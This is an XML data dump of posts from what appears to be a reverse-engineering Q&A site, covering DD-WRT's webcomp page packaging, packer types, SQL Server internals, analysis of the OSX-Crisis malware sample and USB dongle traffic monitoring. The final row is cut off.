  <row Id="1772" PostTypeId="5" CreationDate="2013-04-14T19:17:34.687" Score="0" Body="&lt;pre&gt;&lt;code&gt;/*&#xA; * webcomp -- Compile web pages into C source&#xA; *&#xA; * Copyright (c) GoAhead Software Inc., 1995-2000. All Rights Reserved.&#xA; */&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Webcomp Description&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Webcomp, or 'web compiler', is a very simple tool written by &lt;em&gt;GoAhead Software&lt;/em&gt; during the period of 1995-2000. It 'compiles' web pages into a single binary blob, adding an index of files in the blob to the httpd for use at runtime.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Webcomp is available in the DD-WRT source code. It clearly was created in a 'just hack it out' style, without much concern for its appearance. It does the job though, which is what matters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;DD-WRT uses this tool to 'protect' their web management console. Since their web management console is derived from GPL'd open source,  has had countless contributors over the years, and webcomp itself is open source, I do not believe there is any legal restriction against  documenting the mechanism they use.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Data Types&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Binary Blob.&lt;/strong&gt;&#xA;Normally stored as a file at /etc/www, this is a simple concatenation of all web pages on the device. It is not compressed or obfuscated. Nor should it be. The file systems used by embedded linux firmwares, such as squashfs, feature compression as a primary attribute. Therefore, compressing this blob would be redundant and would harm the final compression ratio of the file system. Similarly, obfuscation of the block would substantially affect the compressibility. However, there is a commented out section in the webcomp source that would apply lzma to the binary blob. There's no evidence it has ever been used, for the reasons I've given.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Index Array.&lt;/strong&gt;&#xA;The array added to the httpd is done by &lt;em&gt;modifying the source code prior to build&lt;/em&gt;. It adds an object named &lt;em&gt;websRomPageIndex&lt;/em&gt; that contains this array of information about the files in the concatenated binary blob. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The array consists of file names and sizes. An older version of webcomp included offsets as well, but these are redundant since the binary blob's files are concatenated in the same order as they appear in the index array. Therefore, as one walks the array, the size of each file gives  a relative offset to the next file in the binary blob.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Craig Heffner's webdecomp, which can decompile and recompile webcomp'd web packages, is much better formatted code than webcomp itself, so I'll use its data structures, amended with my own comments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each member of the array is defined as:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ORIGINAL Format&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* OLD webcomp file_entry data type */&#xA;struct file_entry&#xA;{&#xA;    uint32_t name;   /* virtual offset of asciiz file name in httpd  */&#xA;    uint32_t offset; /* offset to file in blob (unnecessary) */&#xA;    uint32_t size;   /* size of file data in blob */&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;NEW Format&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* NEWER webcomp file_entry data type */&#xA;struct new_file_entry&#xA;{&#xA;    uint32_t name;  /* virtual offset of asciiz file name in httpd  */&#xA;    uint32_t size;  /* size of file data in blob */&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Modifications by DD-WRT&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;DD-WRT has hacked on the webcomp code a few times. Their modifications are not publicly available. In fact, only the old webcomp.c using the original file_entry data type is included in the DD-WRT source code. They may have been responsible for the switch to the more efficient file_entry data type that excludes the redundant offsets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They are certainly responsible for a recent addition that obfuscates all file sizes in the index array. They do this by adding a constant to the sizes. In the most recent builds of DD-WRT, this appears to be 0x4BF8. This can vary between builds. After patching webdecomp to work with the latest key, I'm about to add another patch to dynamically calculate the key used and log it for use in rebuilding. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Therefore, the obfuscation is quite simple:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;new_file_entry.size += key;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Dynamically Calculating the Key.&lt;/strong&gt; Since we can &lt;em&gt;assume&lt;/em&gt; the real size of files within the package (many haven't changed in years, if ever), we can calculate the key used with a firmware. This has the added benefit of working on older images that had no key (0). We do this by finding the file we know the size of (index 0 is fine), then:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;key = new_file_entry.size - assumed_known_size;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For an additional sanity check, one could confirm that the sample file is indeed extracted to match the known sample of that file. A simple hash compare would do the trick.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Warnings.&lt;/strong&gt; Obviously you need to make sure the httpd is compatible with the binary blob. Don't mix and match since different keys, and even different data structures, may be used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;More.&lt;/strong&gt; I'm hacking on Craig Heffner's webdecomp tool now, updating it to handle the new obfuscated sizes, and to handle variations in the key. This is part of the &lt;a href=&quot;http://firmwaremodkit.com&quot; rel=&quot;nofollow&quot;&gt;Firmware Mod Kit&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="188" LastEditorUserId="188" LastEditDate="2013-04-15T16:08:58.097" LastActivityDate="2013-04-15T16:08:58.097" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1773" PostTypeId="4" CreationDate="2013-04-14T19:17:34.687" Score="0" Body="a 'web compiler' that compiles web pages into a single binary blob" OwnerUserId="188" LastEditorUserId="188" LastEditDate="2013-04-15T08:15:29.860" LastActivityDate="2013-04-15T08:15:29.860" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1774" PostTypeId="2" ParentId="1769" CreationDate="2013-04-14T19:42:26.223" Score="21" Body="&lt;p&gt;&lt;em&gt;Community wiki: feel free to edit&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;As a main skill&lt;/h1&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;malware analysis&lt;/li&gt;&#xA;&lt;li&gt;digital forensics and Incident response&lt;/li&gt;&#xA;&lt;li&gt;security assessment, pen testing&#xA;&lt;ul&gt;&#xA;&lt;li&gt;is this website/software/cpu really secure? which one is the most secure?&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;exploit development&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;si vis pacem, para bellum&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;plagiarism detection (if a company sues another one because they claim they stole their source code)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;emulation&#xA;&lt;ul&gt;&#xA;&lt;li&gt;adapting older games to newer medias&#xA;&lt;ul&gt;&#xA;&lt;li&gt;such as &lt;a href=&quot;http://www.dotemu.com&quot; rel=&quot;noreferrer&quot;&gt;DotEmu&lt;/a&gt;, &lt;a href=&quot;http://www.gog.com/&quot; rel=&quot;noreferrer&quot;&gt;Good old games&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;adapting older hardware to newer&#xA;&lt;ul&gt;&#xA;&lt;li&gt;emulate older protection dongles for no longer supported softwares&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;source code recovery&#xA;&lt;ul&gt;&#xA;&lt;li&gt;because backup may fails&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;business logic recovery / process recovery (regarding Legacy Systems)&#xA;&lt;ul&gt;&#xA;&lt;li&gt;because documenting all the quirks, workarounds and clever solutions adequately is hard&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h1&gt;As a side skill&lt;/h1&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;understanding what a program is about&#xA;&lt;ul&gt;&#xA;&lt;li&gt;because too often, one doesn't have the time to document how an internal tool works&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="188" LastEditorUserId="2417" LastEditDate="2014-01-02T22:17:20.160" LastActivityDate="2014-01-02T22:17:20.160" CommentCount="0" CommunityOwnedDate="2013-04-15T06:19:31.293" ContentLicense="CC BY-SA 3.0" />
  <row Id="1775" PostTypeId="2" ParentId="1769" CreationDate="2013-04-14T21:21:40.607" Score="14" Body="&lt;p&gt;Here's a few that you may not usually think about:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Car tuning shops. A lot of modern car tuning is basically firmware hacking.&lt;/li&gt;&#xA;&lt;li&gt;Compiler development. When you're making a toolchain that produces code that other people will rely on, it's good to have an outside tool for sanity check.&lt;/li&gt;&#xA;&lt;li&gt;General software development. While debuggers are usually enough, sometimes you need to RE your own program to realize what's going on. Or look inside a library you're using when docs are incomplete, wrong, or just plain missing.&lt;/li&gt;&#xA;&lt;li&gt;Checking out what your competitors are doing (both software and hardware).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="60" LastActivityDate="2013-04-14T21:21:40.607" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1776" PostTypeId="2" ParentId="1757" CreationDate="2013-04-14T21:59:15.910" Score="11" Body="&lt;p&gt;I am not aware of a currently active generic &quot;firmware reversing&quot; forum.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A few years ago there was a pretty ambitious attempt with &lt;a href=&quot;http://wayback.archive.org/web/20100514210317/http://lostscrews.com/&quot;&gt;lostscrews.com&lt;/a&gt; but unfortunately it languished due to lack of attention, got overwhelmed with spam and eventually the domain has expired. I think the guys behind the &lt;a href=&quot;http://www.devttys0.com/blog/&quot;&gt;/dev/ttyS0 blog&lt;/a&gt; also tried opening a forum a couple months ago but it wasn't very active and apparently has been closed down.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess the problem is that the area is somewhat nebulous and trying to cover everything won't really work. However, there are numerous forums that specialize in a specific type of firmware, manufacturer, or even just one product, and some of them are pretty big on their own. Here's a few examples that come to mind:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://forum.xda-developers.com/&quot;&gt;XDA Developers&lt;/a&gt;: everything about hacking Android and Windows Mobile-based phones and other devices.&lt;/li&gt;&#xA;&lt;li&gt;PC BIOS hacking: &lt;a href=&quot;http://www.wimsbios.com/forum/&quot;&gt;Wim's BIOS&lt;/a&gt; and &lt;a href=&quot;http://forums.mydigitallife.info/forums/25-BIOS-Mods&quot;&gt;My Digital Life&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Samsung TVs: &lt;a href=&quot;http://forum.samygo.tv/&quot;&gt;SamyGO TV&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Digital cameras: &lt;a href=&quot;http://chdk.setepontos.com/&quot;&gt;CHDK&lt;/a&gt;, &lt;a href=&quot;http://www.magiclantern.fm/forum/index.php&quot;&gt;Magic Lantern&lt;/a&gt;, &lt;a href=&quot;http://nikonhacker.com/&quot;&gt;Nikon Hacker&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Ebook readers: &lt;a href=&quot;http://www.mobileread.com/forums/&quot;&gt;MobileRead&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Audio players: &lt;a href=&quot;http://forums.rockbox.org/&quot;&gt;Rockbox&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Wireless routers: &lt;a href=&quot;http://en.wikipedia.org/wiki/List_of_wireless_router_firmware_projects&quot;&gt;too many to list here&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;iPhone/iPod/iPad: &lt;a href=&quot;http://www.idroidproject.org/forum/&quot;&gt;iDroid Project&lt;/a&gt; (and many others)&lt;/li&gt;&#xA;&lt;li&gt;and so on.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="60" LastActivityDate="2013-04-14T21:59:15.910" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1777" PostTypeId="2" ParentId="1769" CreationDate="2013-04-15T00:16:22.550" Score="11" Body="&lt;p&gt;No one seems to have mentioned compatibility yet. I know this isn't the biggest thing reversing is used for, but making software that is compatible with proprietary file formats or protocols is very important, fairly common, and explicitly protected by law in some countries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Often, a developer can use reversing as a &quot;complementary skill&quot;, but in many cases it would make sense for this to be someone's job. For example, when using clean-room techniques, or if the file format or protocol is excessively complex.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2013-04-15T00:16:22.550" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1778" PostTypeId="2" ParentId="1617" CreationDate="2013-04-15T01:05:42.327" Score="12" Body="&lt;p&gt;This seemed like a fun project for a Sunday afternoon, so I had a go at it. To get straight to the point, here's the call stack for a function in SQL server that parses and then executes the query (addresses and offsets taken from SQL Server 2008 R2 running on Windows 7 SP1 32-bit):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x7814500a msvcr80.i386!memcpy+0x5a&#xA;0x013aa370 sqlservr!CWCharStream::CwchGetWChars+0x5c&#xA;0x013a9db5 sqlservr!CSQLStrings::CbGetChars+0x35&#xA;0x012ffa50 sqlservr!CParser::FillBuffer+0x3d&#xA;0x0138bbfd sqlservr!CParser::CParser+0x3c8&#xA;0x01352e96 sqlservr!sqlpars+0x7b&#xA;0x013530f2 sqlservr!CSQLSource::FParse+0x16d&#xA;0x013531ed sqlservr!CSQLSource::FParse+0x268&#xA;0x012ff9e8 sqlservr!`string'+0x3c&#xA;0x015894b8 sqlservr!CSQLSource::Execute+0x2c8&#xA;0x0158ad31 sqlservr!process_request+0x2ac&#xA;0x0158a328 sqlservr!process_commands+0x15f&#xA;0x015cf8b4 sqlservr!SOS_Task::Param::Execute+0xdd&#xA;0x015cf9ea sqlservr!SOS_Scheduler::RunTask+0xb4&#xA;0x015cf575 sqlservr!SOS_Scheduler::IsShrinkWorkersNecessary+0x48&#xA;0x77f06854 ntdll!ZwSignalAndWaitForSingleObject+0xc&#xA;0x77e479e2 kernel32!SignalObjectAndWait+0x82&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Based on this, you probably want to take a close look at the &lt;code&gt;CSQLSource&lt;/code&gt; class, and particularly its &lt;code&gt;Execute&lt;/code&gt; method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Armed with this information, I was also able to dig up a couple &lt;a href=&quot;https://docs.microsoft.com/en-us/archive/blogs/askjay/how-do-i-find-what-queries-were-executing-in-a-sql-memory-dump&quot; rel=&quot;nofollow noreferrer&quot;&gt;blog posts&lt;/a&gt; by someone at Microsoft on how to extract the query string from a memory dump of SQL Server. That post seems to confirm that we're on the right track, and gives you a place to interpose and a way to extract the query string.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Methodology&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;I felt like this would be most easily tackled using some form of Dynamic Binary Instrumentation (DBI); since we suspect the query string will be processed somewhere in the SQL Server process, we can look at memory reads and writes made by the process, searching for a point that reads or writes the query string. We can then dump the callstack at that point and see what interesting addresses show up, and map them back to symbols (since, as Rolf points out, SQL Server has debug symbols available). It really was basically as simple as that!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, the trick is having something around that lets you easily instrument a process. I solved this using a (hopefully soon-to-be-released) whole-system dynamic analysis framework based on &lt;a href=&quot;http://wiki.qemu.org/Main_Page&quot; rel=&quot;nofollow noreferrer&quot;&gt;QEMU&lt;/a&gt;; this let me avoid any unpleasantness involved in getting SQL Server to run under, e.g., &lt;a href=&quot;http://software.intel.com/en-us/articles/pin-a-dynamic-binary-instrumentation-tool&quot; rel=&quot;nofollow noreferrer&quot;&gt;PIN&lt;/a&gt;. Because the framework includes record and replay support, I also didn't have to worry about slowing down the server process with my instrumentation. Once I had the callstack, I used &lt;a href=&quot;https://github.com/moyix/pdbparse&quot; rel=&quot;nofollow noreferrer&quot;&gt;PDBParse&lt;/a&gt; to get the function names.&lt;/p&gt;&#xA;" OwnerUserId="257" LastEditorUserId="31526" LastEditDate="2020-03-27T15:12:46.800" LastActivityDate="2020-03-27T15:12:46.800" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="1779" PostTypeId="1" AcceptedAnswerId="1780" CreationDate="2013-04-15T11:36:23.980" Score="15" ViewCount="12062" Body="&lt;p&gt;I know the basic principle of a packer. Basically, it is a small routine launched at the beginning of the program that decompress the actual program and jump to it once achieved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yet, it seems that there are quite a lot of variations around this principles. I recently learned about &quot;&lt;em&gt;virtualized packers&lt;/em&gt;&quot; or &quot;&lt;em&gt;on-the-fly packers&lt;/em&gt;&quot;, and I might miss a lot. So, can somebody define what a basic packer is and then explain what are the different types that can be encountered ?&lt;/p&gt;&#xA;" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2013-04-15T17:05:20.480" LastActivityDate="2023-07-09T11:32:28.780" Title="What are the different types of packers?" Tags="|obfuscation|malware|packers|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1780" PostTypeId="2" ParentId="1779" CreationDate="2013-04-15T12:00:04.390" Score="18" Body="&lt;h1&gt;Generic definition&lt;/h1&gt;&#xA;&lt;p&gt;Binary packers alter the original binary data, and restore it (more or less) before execution.&lt;/p&gt;&#xA;&lt;p&gt;Their different names depend more on their characteristic: it's difficult to clearly distinguish, as just putting an anti-debug and a Xor loop would make a packer also a protector and a cryptor.&lt;/p&gt;&#xA;&lt;h1&gt;types&lt;/h1&gt;&#xA;&lt;h2&gt;extension&lt;/h2&gt;&#xA;&lt;p&gt;extra packer code is executed&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;compressor: reduce original data's size&lt;/li&gt;&#xA;&lt;li&gt;common: aPLib (FSG, , LZMA, NRV (UPX)&lt;/li&gt;&#xA;&lt;li&gt;others: JCALG1, BriefLZ, LZMAT&lt;/li&gt;&#xA;&lt;li&gt;protector: makes reverse engineering harder&lt;/li&gt;&#xA;&lt;li&gt;countermeasures:&#xA;&lt;ul&gt;&#xA;&lt;li&gt;anti-debugging: IsDebuggerPresent, ...&lt;/li&gt;&#xA;&lt;li&gt;anti-virtualization: detect VmWare, ...&lt;/li&gt;&#xA;&lt;li&gt;anti-dumping: erase header in memory...&lt;/li&gt;&#xA;&lt;li&gt;anti tampering, via checksums&#xA;&lt;ul&gt;&#xA;&lt;li&gt;common: rolling checksum, CRC32, md5, sha1, adler, md4&lt;/li&gt;&#xA;&lt;li&gt;others: Tiger, Whirlpool, md4, adler&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;cryptor: crypts original data&lt;/li&gt;&#xA;&lt;li&gt;common: bitwise operators (XOR/ROL/...), LCG, RC4, Tea&lt;/li&gt;&#xA;&lt;li&gt;others: DES, AES, Blowfish, Trivium, IDEA, ElGamal&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2&gt;transformation&lt;/h2&gt;&#xA;&lt;p&gt;the original code is rewritten&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;virtualizer: turns original code into virtual code with embedded virtual machine&lt;/li&gt;&#xA;&lt;li&gt;mutater: alters code — same instruction set and architecture, but modified:&lt;/li&gt;&#xA;&lt;li&gt;reflowing&lt;/li&gt;&#xA;&lt;li&gt;oligomorphism&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h1&gt;extra features&lt;/h1&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;bundler: file dropping, with API hooking (to make a multi-file program run as single file)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;These &lt;a href=&quot;https://github.com/corkami/docs/blob/master/packers.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;graphics&lt;/a&gt; might help as further reference.&lt;/p&gt;&#xA;" OwnerUserId="188" LastEditorUserId="188" LastEditDate="2023-07-09T11:32:28.780" LastActivityDate="2023-07-09T11:32:28.780" CommentCount="4" CommunityOwnedDate="2013-04-15T12:00:04.390" ContentLicense="CC BY-SA 4.0" />
  <row Id="1781" PostTypeId="1" CreationDate="2013-04-15T15:39:10.933" Score="4" ViewCount="250" Body="&lt;p&gt;I was taking a look at the OSX-Crisis sample obtained from &lt;a href=&quot;http://contagiodump.blogspot.in/2012/12/aug-2012-w32crisis-and-osxcrisis-jar.html#more&quot; rel=&quot;nofollow&quot;&gt;this site&lt;/a&gt; and trying to analyze it for fun and learning. Choosing to disassemble as a Mac binary causes the start function to be discovered wrongly and hence affect the rest of the disassembly. I was reading the analysis of the malware &lt;a href=&quot;http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/crisis_the_advanced_malware.pdf&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;, and am curious about how I can go about finding the correct entry point address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe it can be figured out using the &lt;code&gt;LC_UNIXTHREAD&lt;/code&gt; command eip value. In this case, should my approach be to disassemble the file within IDA as a &quot;binary&quot;(rather than a mach-o binary), navigate to 0x409c and press &quot;C&quot; ?&lt;/p&gt;&#xA;" OwnerDisplayName="user1743" LastEditorUserId="36" LastEditDate="2013-04-15T16:41:59.930" LastActivityDate="2013-04-15T18:01:53.767" Title="How did/would you analyze OSX-Crisis" Tags="|malware|ida|osx|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1783" PostTypeId="2" ParentId="1673" CreationDate="2013-04-15T16:02:57.060" Score="2" Body="&lt;p&gt;This is also commonly known as an &lt;strong&gt;encryption wrapper&lt;/strong&gt;. I'm sure there are several other similar names used in the industry. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The actual code isn't as important as the concept. The plaintext code is prepended (in executive order) by a decryption stub responsible for decoding the body of the code. In this way, the main code body (payload in the case of malware) is encrypted, and thus doesn't have constant bytes. The decoder stub itself remains constant in this example, though &lt;strong&gt;polymorphism&lt;/strong&gt; is a later evolution that regenerates the encoder and decoder so that they, too, contain no constant bytes. By lessening the number of constant bytes between copies of the code, detection signature exposure is reduced.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Decoder stubs can offer decompression as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This mechanism got heavy use in the early days of self-replicating PC viruses. These were labeled with the characteristic of being &lt;strong&gt;self-encrypting&lt;/strong&gt;. It is still used in today by some subversive software. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Importantly, native code isn't the only code that can be 'wrapped' in this fashion.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="1563" LastEditorUserId="1563" LastEditDate="2013-04-15T16:16:04.467" LastActivityDate="2013-04-15T16:16:04.467" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1784" PostTypeId="2" ParentId="1779" CreationDate="2013-04-15T16:54:18.650" Score="9" Body="&lt;h2&gt;Definition&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;We'll define a packer as an executable compressor. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Packers reduce the physical size of an executable by compressing it. A decompression stub is usually then attached, parasitically, to the executable. At runtime, the decompression stub expands the original application and transfers control to the &lt;em&gt;original entry point&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Packers exist for almost all modern platforms. There are two fundamental types of packers:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;In-Place (In Memory)&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Write To Disk&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;In-Place&lt;/strong&gt; packers do what is termed an in-place decompression, in which the decompressed code and data ends up at the same location it was loaded at. The decryption stub attached to these compressed executables transfer control to the original application entry point at runtime, after decompression is complete. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Write to Disk&lt;/strong&gt; packers have a decryption stub (or entire module) that, at runtime, write the decompressed application out to the file system, or a block of memory,&#xA;then transfer control to the original application via execution of&#xA;the application's code via normal API calls.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Uses&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The original intention of executable compressors was to reduce storage requirements (size on disk), back when disk space was at a premium. They can also lower the network bandwidth footprint for transmitted compressed executables, at least when the network traffic would not otherwise be compressed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These days, there is no premium on disk space, so their use is less common. They are most often used as part of a protection system against reverse engineering. Abuse is also, sadly, common.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Abuse&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Some packers are abused by malware authors in an attempt to hide malware from scanners. Most scanners can scan 'inside' (decompress) packed executables. Ironically, use of packers on malware is often counter-productive as it makes the malware appear suspicious and thus makes it subject to deeper levels of analysis.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Additional Features&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Additional features such as protection from reverse engineering can be added to the packer, making the packer also a protector. The process of compression is itself a form of obfuscation and abstraction that inherently serves as some protection.&lt;/p&gt;&#xA;" OwnerUserId="1563" LastEditorUserId="1563" LastEditDate="2013-04-17T02:01:44.097" LastActivityDate="2013-04-17T02:01:44.097" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1785" PostTypeId="2" ParentId="1781" CreationDate="2013-04-15T18:01:53.767" Score="3" Body="&lt;p&gt;According to fG!'s &lt;a href=&quot;http://reverse.put.as/2012/08/06/tales-from-crisis-chapter-1-the-droppers-box-of-tricks/&quot; rel=&quot;nofollow&quot;&gt;blog&lt;/a&gt; entry on OSX-Crisis (recommended read), the true EntryPoint is located in the segment &lt;code&gt;__INIT_STUB&lt;/code&gt;, with code execution permission.&lt;/p&gt;&#xA;" OwnerUserId="188" LastActivityDate="2013-04-15T18:01:53.767" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1786" PostTypeId="1" AcceptedAnswerId="1787" CreationDate="2013-04-15T18:29:01.353" Score="17" ViewCount="8115" Body="&lt;p&gt;How can I monitor a usb dongle's traffic? I would like to see how a program and its usb dongle talk to each other, if it is possible replay this traffic?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since I am new to this type of thing, any tutorial or tool suggestion is welcome.&lt;/p&gt;&#xA;" OwnerUserId="1722" LastEditorUserId="245" LastEditDate="2018-11-22T08:55:52.387" LastActivityDate="2018-11-22T08:55:52.387" Title="USB Dongle Traffic Monitoring" Tags="|tools|executable|usb|dongle|" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1787" PostTypeId="2" ParentId="1786" CreationDate="2013-04-15T18:43:00.580" Score="17" Body="&lt;p&gt;It depends on what your budget is like. The best USB analyzers are hardware devices with good protocol dissectors. If you have a huge budget you can go with the various solutions from LeCroy such as the &lt;a href=&quot;http://teledynelecroy.com/protocolanalyzer/protocoloverview.aspx?seriesid=164&amp;amp;capid=103&amp;amp;mid=511&quot;&gt;LeCroy Voyager M3i&lt;/a&gt;. If you have a decent size budget and you only need USB 2.0, I would go for the &lt;a href=&quot;http://www.ellisys.com/products/usbex200/index.php&quot;&gt;Ellisys USB Explorer 200&lt;/a&gt;. If you want to replay and change packets you can take a look at the &lt;a href=&quot;http://www.ellisys.com/products/usbex260/&quot;&gt;Ellisys USB Explorer 260&lt;/a&gt; as I don't think the 200 is capable of replay. If you need USB 3.0 I would go with the &lt;a href=&quot;http://www.ellisys.com/products/usbex280/index.php&quot;&gt;Ellisys USB Explorer 280&lt;/a&gt;. On the budget hardware side you have the &lt;a href=&quot;http://www.totalphase.com/products/beagle/usb480/&quot;&gt;Beagle 480&lt;/a&gt; and even more budget the &lt;a href=&quot;http://www.totalphase.com/products/beagle_usb12/&quot;&gt;Beagle 12&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're on a budget you can go with a software solution such as &lt;a href=&quot;http://www.everstrike.com/usb-monitor/&quot;&gt;USBSpy&lt;/a&gt;, &lt;a href=&quot;http://www.usblyzer.com/&quot;&gt;USBLyzer&lt;/a&gt;, &lt;a href=&quot;http://www.bustrace.com/&quot;&gt;BusTrace&lt;/a&gt; or &lt;a href=&quot;http://sourceforge.net/projects/usbsnoop/&quot;&gt;USBSnoop&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's also the more DIY solution which involves running the process you want to monitor in a virtual machine such as VirtualBox and then routing the traffic which goes through the USB ports to your own dissector. You can use &lt;a href=&quot;http://wiki.wireshark.org/CaptureSetup/USB&quot;&gt;Wireshark as a dissector&lt;/a&gt; for VM USB traffic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Personally I would go with the Ellisys Explorer 200 or 260. Either one presents a good compromise between price and quality depending on your needs.&lt;/p&gt;&#xA;" OwnerUserId="70" LastEditorUserId="70" 